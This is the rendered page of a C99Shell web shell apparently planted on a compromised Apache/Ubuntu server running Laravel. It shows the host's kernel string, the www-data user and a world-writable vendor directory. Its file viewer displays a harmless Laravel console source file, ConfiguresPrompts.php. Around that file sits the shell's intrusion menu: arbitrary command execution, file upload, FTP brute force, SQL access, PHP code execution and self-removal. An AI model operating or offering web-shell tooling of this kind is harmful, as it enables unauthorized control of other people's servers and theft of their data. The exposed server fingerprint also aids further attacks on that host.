!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/laravel/framework/src/Illuminate/Console/Concerns/   drwxrwxrwx
Free 13.13 GB of 57.97 GB (22.65%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ConfiguresPrompts.php (5.75 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Console\Concerns;

use 
Illuminate\Console\PromptValidationException;
use 
Laravel\Prompts\ConfirmPrompt;
use 
Laravel\Prompts\MultiSearchPrompt;
use 
Laravel\Prompts\MultiSelectPrompt;
use 
Laravel\Prompts\PasswordPrompt;
use 
Laravel\Prompts\Prompt;
use 
Laravel\Prompts\SearchPrompt;
use 
Laravel\Prompts\SelectPrompt;
use 
Laravel\Prompts\SuggestPrompt;
use 
Laravel\Prompts\TextPrompt;
use 
Symfony\Component\Console\Input\InputInterface;

trait 
ConfiguresPrompts
{
    
/**
     * Configure the prompt fallbacks.
     *
     * @param  \Symfony\Component\Console\Input\InputInterface  $input
     * @return void
     */
    
protected function configurePrompts(InputInterface $input)
    {
        
Prompt::setOutput($this->output);

        
Prompt::interactive(($input->isInteractive() && defined('STDIN') && stream_isatty(STDIN)) || $this->laravel->runningUnitTests());

        
Prompt::fallbackWhen(windows_os() || $this->laravel->runningUnitTests());

        
TextPrompt::fallbackUsing(fn (TextPrompt $prompt) => $this->promptUntilValid(
            fn () => 
$this->components->ask($prompt->label$prompt->default ?: null) ?? '',
            
$prompt->required,
            
$prompt->validate
        
));

        
PasswordPrompt::fallbackUsing(fn (PasswordPrompt $prompt) => $this->promptUntilValid(
            fn () => 
$this->components->secret($prompt->label) ?? '',
            
$prompt->required,
            
$prompt->validate
        
));

        
ConfirmPrompt::fallbackUsing(fn (ConfirmPrompt $prompt) => $this->promptUntilValid(
            fn () => 
$this->components->confirm($prompt->label$prompt->default),
            
$prompt->required,
            
$prompt->validate
        
));

        
SelectPrompt::fallbackUsing(fn (SelectPrompt $prompt) => $this->promptUntilValid(
            fn () => 
$this->components->choice($prompt->label$prompt->options$prompt->default),
            
false,
            
$prompt->validate
        
));

        
MultiSelectPrompt::fallbackUsing(function (MultiSelectPrompt $prompt) {
            if (
$prompt->default !== []) {
                return 
$this->promptUntilValid(
                    fn () => 
$this->components->choice($prompt->label$prompt->optionsimplode(','$prompt->default), multipletrue),
                    
$prompt->required,
                    
$prompt->validate
                
);
            }

            return 
$this->promptUntilValid(
                fn () => 
collect($this->components->choice($prompt->label, ['' => 'None', ...$prompt->options], 'None'multipletrue))
                    ->
reject('')
                    ->
all(),
                
$prompt->required,
                
$prompt->validate
            
);
        });

        
SuggestPrompt::fallbackUsing(fn (SuggestPrompt $prompt) => $this->promptUntilValid(
            fn () => 
$this->components->askWithCompletion($prompt->label$prompt->options$prompt->default ?: null) ?? '',
            
$prompt->required,
            
$prompt->validate
        
));

        
SearchPrompt::fallbackUsing(fn (SearchPrompt $prompt) => $this->promptUntilValid(
            function () use (
$prompt) {
                
$query $this->components->ask($prompt->label);

                
$options = ($prompt->options)($query);

                return 
$this->components->choice($prompt->label$options);
            },
            
false,
            
$prompt->validate
        
));

        
MultiSearchPrompt::fallbackUsing(fn (MultiSearchPrompt $prompt) => $this->promptUntilValid(
            function () use (
$prompt) {
                
$query $this->components->ask($prompt->label);

                
$options = ($prompt->options)($query);

                if (
$prompt->required === false) {
                    if (
array_is_list($options)) {
                        return 
collect($this->components->choice($prompt->label, ['None', ...$options], 'None'multipletrue))
                            ->
reject('None')
                            ->
values()
                            ->
all();
                    }

                    return 
collect($this->components->choice($prompt->label, ['' => 'None', ...$options], ''multipletrue))
                        ->
reject('')
                        ->
values()
                        ->
all();
                }

                return 
$this->components->choice($prompt->label$optionsmultipletrue);
            },
            
$prompt->required,
            
$prompt->validate
        
));
    }

    
/**
     * Prompt the user until the given validation callback passes.
     *
     * @param  \Closure  $prompt
     * @param  bool|string  $required
     * @param  \Closure|null  $validate
     * @return mixed
     */
    
protected function promptUntilValid($prompt$required$validate)
    {
        while (
true) {
            
$result $prompt();

            if (
$required && ($result === '' || $result === [] || $result === false)) {
                
$this->components->error(is_string($required) ? $required 'Required.');

                if (
$this->laravel->runningUnitTests()) {
                    throw new 
PromptValidationException;
                } else {
                    continue;
                }
            }

            if (
$validate) {
                
$error $validate($result);

                if (
is_string($error) && strlen($error) > 0) {
                    
$this->components->error($error);

                    if (
$this->laravel->runningUnitTests()) {
                        throw new 
PromptValidationException;
                    } else {
                        continue;
                    }
                }
            }

            return 
$result;
        }
    }

    
/**
     * Restore the prompts output.
     *
     * @return void
     */
    
protected function restorePrompts()
    {
        
Prompt::setOutput($this->output);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0091 ]--